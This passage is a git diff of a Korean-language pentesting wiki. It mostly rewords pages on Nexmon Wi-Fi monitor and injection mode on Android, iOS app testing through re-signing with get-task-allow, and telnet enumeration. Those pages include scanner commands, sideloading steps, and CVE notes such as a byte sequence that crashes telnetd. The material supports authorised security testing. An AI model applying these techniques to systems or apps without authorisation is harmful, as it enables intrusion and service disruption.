diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # πŸ•ΈοΈ Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index 0b2a87a18..ad0637a2f 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -22,8 +22,8 @@ * NexMon Magisk ZIP λ˜λŠ” λ‹€μŒμ„ μ œκ³΅ν•˜λŠ” 자체 컴파일된 패치: * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker β‰₯ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker -* (선택 사항) 무선 도ꡬλ₯Ό μ‹€ν–‰ν•  Linux chroot인 Kali NetHunter λ˜λŠ” 기타 +* Hijacker β‰₯ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) +* (선택 사항) Kali NetHunter λ˜λŠ” 무선 도ꡬλ₯Ό μ‹€ν–‰ν•  Linux chroot --- @@ -53,7 +53,7 @@ nexutil -m0; svc wifi enable ``` β€œStart monitor mode on airodump start”λ₯Ό ν™œμ„±ν™”ν•˜μ—¬ λͺ¨λ“  Hijacker μŠ€μΊ”μ΄ κΈ°λ³Έ λͺ¨λ‹ˆν„° λͺ¨λ“œ(`wlan0` λŒ€μ‹  `wlan0mon`)μ—μ„œ λ°œμƒν•˜λ„λ‘ ν•©λ‹ˆλ‹€. -Hijackerκ°€ μ‹œμž‘ μ‹œ 였λ₯˜λ₯Ό ν‘œμ‹œν•˜λ©΄ 곡유 μ €μž₯μ†Œμ— ν•„μš”ν•œ 디렉토리λ₯Ό μƒμ„±ν•˜κ³  앱을 λ‹€μ‹œ μ—½λ‹ˆλ‹€: +Hijackerκ°€ μ‹œμž‘ μ‹œ 였λ₯˜λ₯Ό ν‘œμ‹œν•˜λ©΄, 곡유 μ €μž₯μ†Œμ— ν•„μš”ν•œ 디렉토리λ₯Ό μƒμ„±ν•˜κ³  앱을 λ‹€μ‹œ μ—½λ‹ˆλ‹€: ```bash mkdir -p /storage/emulated/0/Hijacker ``` @@ -61,7 +61,7 @@ mkdir -p /storage/emulated/0/Hijacker * **`-s0x613`** νŽŒμ›¨μ–΄ λ³€μˆ˜ 0x613 (FCAP_FRAME_INJECTION)을 `1`둜 μ„€μ • (μž„μ˜ ν”„λ ˆμž„μ˜ TX ν™œμ„±ν™”). * **`-i`** μΈν„°νŽ˜μ΄μŠ€λ₯Ό λͺ¨λ‹ˆν„° λͺ¨λ“œλ‘œ μ„€μ • (radiotap 헀더가 μ•žμ— 좔가됨). * **`-v2`** 상세 레벨 μ„€μ •; `2`λŠ” 확인 및 νŽŒμ›¨μ–΄ 버전을 좜λ ₯. -* **`-m0`** 관리 λͺ¨λ“œλ‘œ 볡원 ( *disable* λͺ…λ Ήμ—μ„œ μ‚¬μš©λ¨). +* **`-m0`** 관리 λͺ¨λ“œ 볡원 (*disable* λͺ…λ Ήμ—μ„œ μ‚¬μš©λ¨). *Enable monitor mode*λ₯Ό μ‹€ν–‰ν•œ ν›„ μΈν„°νŽ˜μ΄μŠ€κ°€ λͺ¨λ‹ˆν„° μƒνƒœμ— μžˆμ–΄μ•Ό ν•˜λ©°, λ‹€μŒμ„ μ‚¬μš©ν•˜μ—¬ μ›μ‹œ ν”„λ ˆμž„μ„ μΊ‘μ²˜ν•  수 μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€: ```bash diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 249d3b8ee..2d01d072e 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -4,12 +4,11 @@ ## Main idea -**`get_task_allow`** κΆŒν•œμœΌλ‘œ μ„œλͺ…λœ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ 타사 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ **`task_for_pid()`**λΌλŠ” ν•¨μˆ˜λ₯Ό 초기 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ ν”„λ‘œμ„ΈμŠ€ IDλ₯Ό 인수둜 μ‚¬μš©ν•˜μ—¬ μ‹€ν–‰ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•˜μ—¬ ν•΄λ‹Ή μž‘μ—… 포트λ₯Ό 얻을 수 있게 ν•©λ‹ˆλ‹€(μ œμ–΄ν•˜κ³  λ©”λͺ¨λ¦¬μ— μ ‘κ·Όν•  수 있게 됨). +**`get_task_allow`** κΆŒν•œμœΌλ‘œ μ„œλͺ…λœ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ 타사 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ **`task_for_pid()`**λΌλŠ” ν•¨μˆ˜λ₯Ό 초기 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ ν”„λ‘œμ„ΈμŠ€ IDλ₯Ό 인수둜 μ‚¬μš©ν•˜μ—¬ μ‹€ν–‰ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•˜μ—¬ ν•΄λ‹Ή μž‘μ—… 포트λ₯Ό μ–»κ³ (μ œμ–΄ν•˜κ³  λ©”λͺ¨λ¦¬μ— μ ‘κ·Όν•  수 있게) ν•©λ‹ˆλ‹€. -ν•˜μ§€λ§Œ IPAλ₯Ό κ°€μ Έμ™€μ„œ κΆŒν•œμœΌλ‘œ μž¬μ„œλͺ…ν•œ ν›„ μž₯μΉ˜μ— λ‹€μ‹œ ν”Œλž˜μ‹œν•˜λŠ” κ²ƒλ§ŒμœΌλ‘œλŠ” 쉽지 μ•ŠμŠ΅λ‹ˆλ‹€. μ΄λŠ” FairPlay 보호 λ•Œλ¬Έμž…λ‹ˆλ‹€. μ•±μ˜ μ„œλͺ…이 λ³€κ²½λ˜λ©΄ DRM(λ””μ§€ν„Έ ꢌ리 관리) ν‚€κ°€ **λ¬΄νš¨ν™”λ˜μ–΄ 앱이 μž‘λ™ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€**. - -κ΅¬ν˜• νƒˆμ˜₯된 μž₯μΉ˜μ—μ„œλŠ” IPAλ₯Ό μ„€μΉ˜ν•˜κ³ , **μ’‹μ•„ν•˜λŠ” 도ꡬ**(예: Iridium λ˜λŠ” frida-ios-dump)λ₯Ό μ‚¬μš©ν•˜μ—¬ λ³΅ν˜Έν™”ν•œ ν›„ μž₯μΉ˜μ—μ„œ λ‹€μ‹œ κ°€μ Έμ˜¬ 수 μžˆμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ κ°€λŠ₯ν•˜λ‹€λ©΄ λ³΅ν˜Έν™”λœ IPAλ₯Ό ν΄λΌμ΄μ–ΈνŠΈμ—κ²Œ μš”μ²­ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. +ν•˜μ§€λ§Œ IPAλ₯Ό κ°€μ Έμ™€μ„œ κΆŒν•œμœΌλ‘œ μž¬μ„œλͺ…ν•œ ν›„ μž₯μΉ˜μ— λ‹€μ‹œ ν”Œλž˜μ‹œν•˜λŠ” 것은 그리 κ°„λ‹¨ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. μ΄λŠ” FairPlay 보호 λ•Œλ¬Έμž…λ‹ˆλ‹€. μ•±μ˜ μ„œλͺ…이 λ³€κ²½λ˜λ©΄ DRM(λ””μ§€ν„Έ ꢌ리 관리) ν‚€κ°€ **λ¬΄νš¨ν™”λ˜μ–΄ 앱이 μž‘λ™ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€**. +κ΅¬ν˜• νƒˆμ˜₯된 μž₯μΉ˜μ—μ„œλŠ” IPAλ₯Ό μ„€μΉ˜ν•˜κ³ , **μ’‹μ•„ν•˜λŠ” 도ꡬ**(예: Iridium λ˜λŠ” frida-ios-dump)λ₯Ό μ‚¬μš©ν•˜μ—¬ λ³΅ν˜Έν™”ν•œ ν›„ μž₯μΉ˜μ—μ„œ λ‹€μ‹œ κ°€μ Έμ˜€λŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ κ°€λŠ₯ν•˜λ‹€λ©΄ λ³΅ν˜Έν™”λœ IPAλ₯Ό ν΄λΌμ΄μ–ΈνŠΈμ—κ²Œ μš”μ²­ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. ## Obtain decrypted IPA @@ -19,23 +18,22 @@ 2. macOSμ—μ„œ [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)λ₯Ό μ„€μΉ˜ν•˜κ³  μ‹€ν–‰ν•©λ‹ˆλ‹€. 3. Macμ—μ„œ `Terminal`을 μ—΄κ³  `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`둜 μ΄λ™ν•©λ‹ˆλ‹€. λ‚˜μ€‘μ— 이 폴더에 IPAκ°€ λ‚˜νƒ€λ‚©λ‹ˆλ‹€. 4. iOS μž₯μΉ˜κ°€ ν‘œμ‹œλ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. 더블 ν΄λ¦­ν•œ ν›„ 상단 메뉴 λ°”μ—μ„œ Add + β†’ Appsλ₯Ό ν΄λ¦­ν•©λ‹ˆλ‹€. -5. Addλ₯Ό ν΄λ¦­ν•˜λ©΄ Configuratorκ°€ Appleμ—μ„œ IPAλ₯Ό λ‹€μš΄λ‘œλ“œν•˜κ³  μž₯μΉ˜μ— ν‘Έμ‹œν•˜λ €κ³  μ‹œλ„ν•©λ‹ˆλ‹€. 이전에 제 ꢌ고λ₯Ό λ”°λ₯΄κ³  IPAλ₯Ό 이미 μ„€μΉ˜ν–ˆλ‹€λ©΄ 앱을 μž¬μ„€μΉ˜ν•˜λΌλŠ” ν”„λ‘¬ν”„νŠΈκ°€ λ‚˜νƒ€λ‚©λ‹ˆλ‹€. +5. Addλ₯Ό ν΄λ¦­ν•˜λ©΄ Configuratorκ°€ Appleμ—μ„œ IPAλ₯Ό λ‹€μš΄λ‘œλ“œν•˜κ³  μž₯μΉ˜μ— ν‘Έμ‹œν•˜λ €κ³  μ‹œλ„ν•©λ‹ˆλ‹€. 이전에 제 ꢌμž₯ 사항을 λ”°λ₯΄κ³  IPAλ₯Ό 이미 μ„€μΉ˜ν–ˆλ‹€λ©΄ 앱을 μž¬μ„€μΉ˜ν•˜λΌλŠ” ν”„λ‘¬ν”„νŠΈκ°€ λ‚˜νƒ€λ‚©λ‹ˆλ‹€. 6. IPAλŠ” `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 λ‹€μš΄λ‘œλ“œλ˜μ–΄ 있으며, μ—¬κΈ°μ„œ κ°€μ Έμ˜¬ 수 μžˆμŠ΅λ‹ˆλ‹€. 이 ν”„λ‘œμ„ΈμŠ€μ— λŒ€ν•œ 더 μžμ„Έν•œ μ •λ³΄λŠ” [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)λ₯Ό ν™•μΈν•˜μ„Έμš”. - ### Decrypting the app -IPAλ₯Ό λ³΅ν˜Έν™”ν•˜κΈ° μœ„ν•΄ μ„€μΉ˜ν•  κ²ƒμž…λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ κ΅¬ν˜• νƒˆμ˜₯된 iPhone이 μžˆλŠ” 경우, μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ μ§€μ›ν•˜μ§€ μ•Šμ„ κ°€λŠ₯성이 λ†’μŠ΅λ‹ˆλ‹€. 일반적으둜 앱은 μ΅œμ‹  λ²„μ „λ§Œ μ§€μ›ν•©λ‹ˆλ‹€. +IPAλ₯Ό λ³΅ν˜Έν™”ν•˜κΈ° μœ„ν•΄ μ„€μΉ˜ν•  κ²ƒμž…λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ κ΅¬ν˜• νƒˆμ˜₯된 iPhone이 μžˆλŠ” 경우, μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ μ§€μ›ν•˜μ§€ μ•Šμ„ 수 μžˆλŠ” 버전일 κ°€λŠ₯성이 λ†’μŠ΅λ‹ˆλ‹€. 일반적으둜 앱은 μ΅œμ‹  λ²„μ „λ§Œ μ§€μ›ν•©λ‹ˆλ‹€. λ”°λΌμ„œ μ„€μΉ˜ν•˜λ €λ©΄ IPAλ₯Ό μ••μΆ• ν•΄μ œν•˜μ„Έμš”: ```bash unzip redacted.ipa -d unzipped ``` -`Info.plist`μ—μ„œ μ΅œμ†Œ 지원 버전을 ν™•μΈν•˜κ³ , κΈ°κΈ°κ°€ 그보닀 였래된 경우 값을 λ³€κ²½ν•˜μ—¬ μ§€μ›λ˜λ„λ‘ ν•©λ‹ˆλ‹€. +`Info.plist`μ—μ„œ μ΅œμ†Œ 지원 버전을 ν™•μΈν•˜κ³ , κΈ°κΈ°κ°€ 그보닀 였래된 경우 값을 λ³€κ²½ν•˜μ—¬ μ§€μ›λ˜λ„λ‘ ν•˜μ‹­μ‹œμ˜€. -IPAλ₯Ό λ‹€μ‹œ μ••μΆ•ν•©λ‹ˆλ‹€: +IPAλ₯Ό λ‹€μ‹œ μ••μΆ•ν•˜μ‹­μ‹œμ˜€: ```bash cd unzipped zip -r ../no-min-version.ipa * @@ -51,7 +49,7 @@ Cydiaμ—μ„œ **AppSync Unified tweak**κ°€ ν•„μš”ν•  수 μžˆμœΌλ‹ˆ `invalid signat ### κΆŒν•œ 패치 및 μž¬μ„œλͺ… -`get-task-allow` κΆŒν•œμœΌλ‘œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μž¬μ„œλͺ…ν•˜κΈ° μœ„ν•΄ `app-signer`, `codesign`, `iResign`κ³Ό 같은 μ—¬λŸ¬ 도ꡬ가 μžˆμŠ΅λ‹ˆλ‹€. `app-signer`λŠ” μž¬μ„œλͺ…ν•  IPA νŒŒμΌμ„ μ§€μ •ν•˜κ³ , **`get-taks-allow`**λ₯Ό μ„€μ •ν•˜λ©° μ‚¬μš©ν•  μΈμ¦μ„œμ™€ ν”„λ‘œλΉ„μ €λ‹ ν”„λ‘œν•„μ„ μ‰½κ²Œ μ§€μ •ν•  수 μžˆλŠ” 맀우 μ‚¬μš©μž μΉœν™”μ μΈ μΈν„°νŽ˜μ΄μŠ€λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. +`get-task-allow` κΆŒν•œμœΌλ‘œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μž¬μ„œλͺ…ν•˜κΈ° μœ„ν•΄ `app-signer`, `codesign`, `iResign`κ³Ό 같은 μ—¬λŸ¬ 도ꡬλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. `app-signer`λŠ” μž¬μ„œλͺ…ν•  IPA νŒŒμΌμ„ μ§€μ •ν•˜κ³  **`get-task-allow`**λ₯Ό μ„€μ •ν•˜λ©° μ‚¬μš©ν•  μΈμ¦μ„œμ™€ ν”„λ‘œλΉ„μ €λ‹ ν”„λ‘œν•„μ„ μ‰½κ²Œ μ§€μ •ν•  수 μžˆλŠ” 맀우 μ‚¬μš©μž μΉœν™”μ μΈ μΈν„°νŽ˜μ΄μŠ€λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. μΈμ¦μ„œ 및 μ„œλͺ… ν”„λ‘œν•„μ— κ΄€ν•΄μ„œλŠ” Apple이 Xcodeλ₯Ό 톡해 λͺ¨λ“  계정에 **무료 개발자 μ„œλͺ… ν”„λ‘œν•„**을 μ œκ³΅ν•©λ‹ˆλ‹€. 앱을 μƒμ„±ν•˜κ³  ν•˜λ‚˜λ₯Ό κ΅¬μ„±ν•˜μ„Έμš”. 그런 λ‹€μŒ, `Settings` β†’ `Privacy & Security`둜 μ΄λ™ν•˜μ—¬ **개발자 앱을 μ‹ λ’°ν•˜λ„λ‘ iPhone을 ꡬ성**ν•˜μ„Έμš”. `Developer Mode`λ₯Ό ν΄λ¦­ν•©λ‹ˆλ‹€. @@ -63,13 +61,13 @@ ideviceinstaller -i resigned.ipa -w ### 개발자 λͺ¨λ“œ ν™œμ„±ν™” (iOS 16+) -iOS 16λΆ€ν„° Apple은 **개발자 λͺ¨λ“œ**λ₯Ό λ„μž…ν–ˆμŠ΅λ‹ˆλ‹€: `get_task_allow`λ₯Ό ν¬ν•¨ν•˜κ±°λ‚˜ 개발 μΈμ¦μ„œλ‘œ μ„œλͺ…λœ 이진 νŒŒμΌμ€ μž₯μΉ˜μ—μ„œ 개발자 λͺ¨λ“œκ°€ ν™œμ„±ν™”λ  λ•ŒκΉŒμ§€ 싀행을 κ±°λΆ€ν•©λ‹ˆλ‹€. 이 ν”Œλž˜κ·Έκ°€ 켜져 μžˆμ§€ μ•ŠμœΌλ©΄ Frida/LLDBλ₯Ό μ—°κ²°ν•  수 μ—†μŠ΅λ‹ˆλ‹€. +iOS 16λΆ€ν„° Apple은 **개발자 λͺ¨λ“œ**λ₯Ό λ„μž…ν–ˆμŠ΅λ‹ˆλ‹€: `get_task_allow`λ₯Ό ν¬ν•¨ν•˜κ±°λ‚˜ 개발 μΈμ¦μ„œλ‘œ μ„œλͺ…λœ λͺ¨λ“  λ°”μ΄λ„ˆλ¦¬λŠ” μž₯μΉ˜μ—μ„œ 개발자 λͺ¨λ“œκ°€ ν™œμ„±ν™”λ  λ•ŒκΉŒμ§€ 싀행을 κ±°λΆ€ν•©λ‹ˆλ‹€. 이 ν”Œλž˜κ·Έκ°€ 켜져 μžˆμ§€ μ•ŠμœΌλ©΄ Frida/LLDBλ₯Ό μ—°κ²°ν•  수 μ—†μŠ΅λ‹ˆλ‹€. 1. **μž„μ˜μ˜** 개발자 μ„œλͺ… IPAλ₯Ό 전화기에 μ„€μΉ˜ν•˜κ±°λ‚˜ ν‘Έμ‹œν•©λ‹ˆλ‹€. 2. **μ„€μ • β†’ 개인 정보 보호 및 λ³΄μ•ˆ β†’ 개발자 λͺ¨λ“œ**둜 μ΄λ™ν•˜μ—¬ ν™œμ„±ν™”ν•©λ‹ˆλ‹€. 3. μž₯μΉ˜κ°€ μž¬λΆ€νŒ…λ©λ‹ˆλ‹€; μ•”ν˜Έλ₯Ό μž…λ ₯ν•œ ν›„ **개발자 λͺ¨λ“œ 켜기**λ₯Ό μš”μ²­λ°›μŠ΅λ‹ˆλ‹€. -개발자 λͺ¨λ“œλŠ” λΉ„ν™œμ„±ν™”ν•˜κ±°λ‚˜ μ „ν™”κΈ°λ₯Ό μ΄ˆκΈ°ν™”ν•  λ•ŒκΉŒμ§€ ν™œμ„± μƒνƒœλ‘œ μœ μ§€λ˜λ―€λ‘œ 이 λ‹¨κ³„λŠ” μž₯μΉ˜λ‹Ή ν•œ 번만 μˆ˜ν–‰ν•˜λ©΄ λ©λ‹ˆλ‹€. [Apple λ¬Έμ„œ](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)μ—μ„œλŠ” λ³΄μ•ˆ 의미λ₯Ό μ„€λͺ…ν•©λ‹ˆλ‹€. +개발자 λͺ¨λ“œλŠ” λΉ„ν™œμ„±ν™”ν•˜κ±°λ‚˜ μ „ν™”κΈ°λ₯Ό μ΄ˆκΈ°ν™”ν•  λ•ŒκΉŒμ§€ ν™œμ„± μƒνƒœλ‘œ μœ μ§€λ˜λ―€λ‘œ 이 λ‹¨κ³„λŠ” μž₯μΉ˜λ‹Ή ν•œ 번만 μˆ˜ν–‰ν•˜λ©΄ λ©λ‹ˆλ‹€. [Apple λ¬Έμ„œ](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)μ—μ„œ λ³΄μ•ˆ 의미λ₯Ό μ„€λͺ…ν•©λ‹ˆλ‹€. ### ν˜„λŒ€μ μΈ μ‚¬μ΄λ“œλ‘œλ”© μ˜΅μ…˜ @@ -77,7 +75,7 @@ iOS 16λΆ€ν„° Apple은 **개발자 λͺ¨λ“œ**λ₯Ό λ„μž…ν–ˆμŠ΅λ‹ˆλ‹€: `get_task_allo | 도ꡬ | μš”κ΅¬ 사항 | 강점 | μ œν•œ 사항 | |------|--------------|-----------|-------------| -| **AltStore 2 / SideStore** | λ§€ 7μΌλ§ˆλ‹€ 무료 개발 ν”„λ‘œν•„λ‘œ IPAλ₯Ό μž¬μ„œλͺ…ν•˜λŠ” macOS/Windows/Linux λ™λ°˜μž | Wi-Fiλ₯Ό ν†΅ν•œ μžλ™ μž¬λ‘œλ“œ, iOS 17κΉŒμ§€ μž‘λ™ | 동일 λ„€νŠΈμ›Œν¬μ— 컴퓨터 ν•„μš”, Apple에 μ˜ν•΄ 3개 μ•± μ œν•œ | +| **AltStore 2 / SideStore** | λ§€ 7μΌλ§ˆλ‹€ 무료 개발 ν”„λ‘œν•„λ‘œ IPAλ₯Ό μž¬μ„œλͺ…ν•˜λŠ” macOS/Windows/Linux λ™λ°˜μž | Wi-Fiλ₯Ό ν†΅ν•œ μžλ™ μž¬λ‘œλ“œ, iOS 17κΉŒμ§€ μž‘λ™ | 동일 λ„€νŠΈμ›Œν¬μ— μžˆλŠ” 컴퓨터 ν•„μš”, Apple에 μ˜ν•΄ 3개 μ•± μ œν•œ | | **TrollStore 1/2** | CoreTrust 버그에 μ·¨μ•½ν•œ iOS 14 – 15.4.1 μž₯치 | *영ꡬ* μ„œλͺ… (7일 μ œν•œ μ—†μŒ); μ„€μΉ˜ ν›„ 컴퓨터 ν•„μš” μ—†μŒ | iOS 15.5+μ—μ„œ μ§€μ›λ˜μ§€ μ•ŠμŒ (버그 패치됨) | ν˜„μž¬ iOS λ²„μ „μ—μ„œμ˜ 정기적인 νŽœν…ŒμŠ€νŠΈλ₯Ό μœ„ν•΄ Alt/Side-Storeκ°€ 일반적으둜 κ°€μž₯ μ‹€μš©μ μΈ μ„ νƒμž…λ‹ˆλ‹€. @@ -96,7 +94,7 @@ frida -U -f com.example.target -l my_script.js --no-pause ### νƒˆμ˜₯ 없이 MobSFλ₯Ό μ΄μš©ν•œ μžλ™ν™”λœ 동적 뢄석 -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)λŠ” λ™μΌν•œ 기술(`get_task_allow`)을 μ‚¬μš©ν•˜μ—¬ μ‹€μ œ μž₯μΉ˜μ—μ„œ 개발자 μ„œλͺ…λœ IPAλ₯Ό 계츑할 수 있으며, 파일 μ‹œμŠ€ν…œ λΈŒλΌμš°μ €, νŠΈλž˜ν”½ 캑처 및 Frida μ½˜μ†”μ΄ ν¬ν•¨λœ μ›Ή UIλ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€γ€β€ L2-L3】. κ°€μž₯ λΉ λ₯Έ 방법은 Dockerμ—μ„œ MobSFλ₯Ό μ‹€ν–‰ν•œ λ‹€μŒ USBλ₯Ό 톡해 iPhone을 μ—°κ²°ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)λŠ” μ‹€μ œ μž₯μΉ˜μ—μ„œ λ™μΌν•œ 기술(`get_task_allow`)을 μ‚¬μš©ν•˜μ—¬ 개발자 μ„œλͺ…λœ IPAλ₯Ό 계츑할 수 있으며, 파일 μ‹œμŠ€ν…œ λΈŒλΌμš°μ €, νŠΈλž˜ν”½ 캑처 및 Frida μ½˜μ†”μ΄ ν¬ν•¨λœ μ›Ή UIλ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€γ€γ€‘. κ°€μž₯ λΉ λ₯Έ 방법은 Dockerμ—μ„œ MobSFλ₯Ό μ‹€ν–‰ν•œ λ‹€μŒ USBλ₯Ό 톡해 iPhone을 μ—°κ²°ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index ad2f81950..def44006f 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -25,9 +25,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)μ—μ„œ: TELNET ν”„λ‘œν† μ½œμ—λŠ” μ‚¬μš©μžκ°€ 더 μ •κ΅ν•œ (λ˜λŠ” μ•„λ§ˆλ„ λ‹¨μˆœνžˆ λ‹€λ₯Έ) κ·œμΉ™ 집합을 μ‚¬μš©ν•˜κΈ°λ‘œ λ™μ˜ν•  수 μžˆλ„λ‘ "**DO, DON'T, WILL, WON'T**" ꡬ쑰와 ν•¨κ»˜ μ‚¬μš©λ  수 μžˆλŠ” λ‹€μ–‘ν•œ "**μ˜΅μ…˜**"이 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ˜΅μ…˜μ—λŠ” 문자 μ§‘ν•© λ³€κ²½, 에코 λͺ¨λ“œ λ³€κ²½ 등이 포함될 수 μžˆμŠ΅λ‹ˆλ‹€. -**이 μ˜΅μ…˜μ„ μ—΄κ±°ν•˜λŠ” 것이 κ°€λŠ₯ν•˜λ‹€λŠ” 것을 μ•Œκ³  μžˆμ§€λ§Œ, 방법을 λͺ¨λ₯΄λ‹ˆ μ•„λŠ” 경우 μ•Œλ €μ£Όμ„Έμš”.** +**이 μ˜΅μ…˜μ„ μ—΄κ±°ν•˜λŠ” 것이 κ°€λŠ₯ν•˜λ‹€λŠ” 것을 μ•Œκ³  μžˆμ§€λ§Œ, 방법을 λͺ¨λ₯΄λ‹ˆ μ•„λŠ” 뢄은 μ•Œλ €μ£Όμ„Έμš”.** -### [무차별 λŒ€μž…](../generic-hacking/brute-force.md#telnet) +### [λ¬΄μž‘μœ„ λŒ€μž…](../generic-hacking/brute-force.md#telnet) ## ꡬ성 파일 ```bash @@ -69,15 +69,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS ``` ### Recent Vulnerabilities (2022-2025) -* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: λ‚΄μž₯된 Telnet μ„œλΉ„μŠ€λŠ” ν•˜λ“œμ½”λ”©λœ 자격 증λͺ…을 μˆ˜μš©ν•˜κ³  μž…λ ₯을 μ •λ¦¬ν•˜μ§€ μ•Šμ•„, 포트 23μ—μ„œ μ‘°μž‘λœ λͺ…령을 톡해 루트둜 μΈμ¦λ˜μ§€ μ•Šμ€ 원격 RCEλ₯Ό ν—ˆμš©ν•©λ‹ˆλ‹€. νŽŒμ›¨μ–΄ β‰₯ 1.04B05μ—μ„œ μˆ˜μ •λ¨. -* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` λͺ…λ Ήμ—μ„œ μŠ€νƒ 기반 버퍼 μ˜€λ²„ν”Œλ‘œμš°κ°€ λ°œμƒν•˜μ—¬ μΈμ ‘ν•œ κ³΅κ²©μžκ°€ 인증을 μš°νšŒν•˜κ³  루트둜 μž„μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 있게 ν•©λ‹ˆλ‹€. +* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: λ‚΄μž₯된 Telnet μ„œλΉ„μŠ€λŠ” ν•˜λ“œμ½”λ”©λœ 자격 증λͺ…을 μˆ˜μš©ν•˜κ³  μž…λ ₯을 μ •λ¦¬ν•˜μ§€ μ•Šμ•„, 포트 23μ—μ„œ μ‘°μž‘λœ λͺ…령을 톡해 μΈμ¦λ˜μ§€ μ•Šμ€ 원격 RCEλ₯Ό 루트둜 ν—ˆμš©ν•©λ‹ˆλ‹€. νŽŒμ›¨μ–΄ β‰₯ 1.04B05μ—μ„œ μˆ˜μ •λ¨. +* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` λͺ…λ Ήμ—μ„œ μŠ€νƒ 기반 버퍼 μ˜€λ²„ν”Œλ‘œμš°κ°€ λ°œμƒν•˜μ—¬ μΈμ ‘ν•œ κ³΅κ²©μžκ°€ 인증을 μš°νšŒν•˜κ³  λ£¨νŠΈλ‘œμ„œ μž„μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 있게 ν•©λ‹ˆλ‹€. * **CVE-2022-39028 – GNU inetutils telnetd**: 두 λ°”μ΄νŠΈ μ‹œν€€μŠ€(`0xff 0xf7` / `0xff 0xf8`)κ°€ NULL 포인터 μ—­μ°Έμ‘°λ₯Ό μœ λ°œν•˜μ—¬ `telnetd`λ₯Ό μΆ©λŒμ‹œν‚¬ 수 있으며, μ—¬λŸ¬ 번의 좩돌 ν›„ 지속적인 DoSλ₯Ό μ΄ˆλž˜ν•©λ‹ˆλ‹€. -취약점 λΆ„λ₯˜ 쀑 μ΄λŸ¬ν•œ 